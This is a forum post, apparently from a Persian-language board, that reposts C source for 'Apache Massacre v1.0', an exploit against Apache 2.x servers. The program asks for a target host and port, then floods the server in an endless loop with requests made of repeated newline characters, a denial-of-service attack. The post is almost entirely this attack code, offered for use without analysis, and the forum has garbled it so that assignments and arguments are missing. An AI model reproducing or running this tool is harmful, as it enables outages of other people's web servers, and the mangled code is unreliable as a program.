اطلاعیه

Collapse
No announcement yet.

_Exploit_ Code Released for Apache 2.x

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • _Exploit_ Code Released for Apache 2.x

    کد PHP:
    #ifndef _WIN32
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <fcntl.h>
    #else
    #include <windows.h>
    #pragma comment(lib, "wsock32.lib")
    #endif
    #include <stdlib.h>
    #include <stdio.h>

    int sig_fired 0;

    #ifndef _WIN32
    void sig_handler(int sig) {
    #else
    BOOL WINAPI sig_handler(DWORD dwCtrlType) {
    #endif
        
    sig_fired 1;
    #ifndef _WIN32
        
    return;
    #else
        
    return TRUE;
    #endif
    }

    int main(int argcchar *argv[]) {
        
    SOCKET s;
        
    struct sockaddr_in sin;
        
    char buffer[1025];
        
    struct hostent *he;
        
    unsigned short iPort 80;
        
    int newlines 100;
        
    char *p;
        
    char *p2;
        
    int i;
    #ifdef _WIN32
        
    WSADATA wsa_prov;
    #endif
        
    printf("Apache Massacre v1.0\r\n");
        
    printf("Exploit by Matthew Murphy\r\n");
        
    printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
    #ifdef _WIN32
        
    if (WSAStartup(0x0101, &wsa_prov)) {
            
    perror("WSAStartup");
            exit(
    1);
        }
    #endif
        
    printf("Please enter the web server's host/IP: ");
        
    fgets(&buffer[0], 1024stdin);
        
    he gethostbyname(&buffer[0]);
        if (!
    he) {
            
    perror("gethostbyname");
            exit(
    1);
        }
        
    sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
        
    printf("Please enter the web server's port: ");
        
    fgets(&buffer[0], 1024stdin);
        
    iPort = (unsigned short)atoi(&buffer[0]);
    #ifndef _WIN32
    #ifdef _SOLARIS
        
    sigset(SIGINT, &sig_handler);
    #else
        
    signal(SIGINT, &sig_handler);
    #endif
    #else
        
    SetConsoleCtrlHandler(&sig_handlerTRUE);
    #endif
        
    printf("How many newlines should be in each request [100]: ");
        
    fgets(&buffer[0], 1024stdin);
        if (!
    buffer[0] == 0x0D && !buffer[0] == 0x0A) {
            
    newlines atoi(&buffer[0]);
        }
        
    malloc(newlines*2);
        
    p2 p;
        for (
    0newlinesi++) {
            *
    p2 0x0D;
            
    p2++;
            *
    p2 0x0A;
            
    p2++;
        }
        
    newlines += newlines;
        
    socket(AF_INETSOCK_STREAMIPPROTO_TCP);
        if (
    0) {
            
    perror("socket");
            exit(
    1);
        }
        
    sin.sin_family AF_INET;
        
    sin.sin_port htons(iPort);
        if (
    connect(s, (const struct sockaddr *)&sinsizeof(struct sockaddr_in))) {
            
    perror("connect");
            exit(
    1);
        }
        while (
    1) {
            if (!
    send(s, (char *)pnewlines0) == newlines) {
                
    perror("send");
                exit(
    1);
            }
            if (
    sig_fired) {
                
    printf("Terminating on SIGINT");
                
    free(p);
    #ifndef _WIN32
                
    close(s);
    #else
                
    closesocket(s);
                
    WSACleanup();
    #endif
                
    exit(0);
            }
        }

    http://blxk.shabgard.org
Working...
X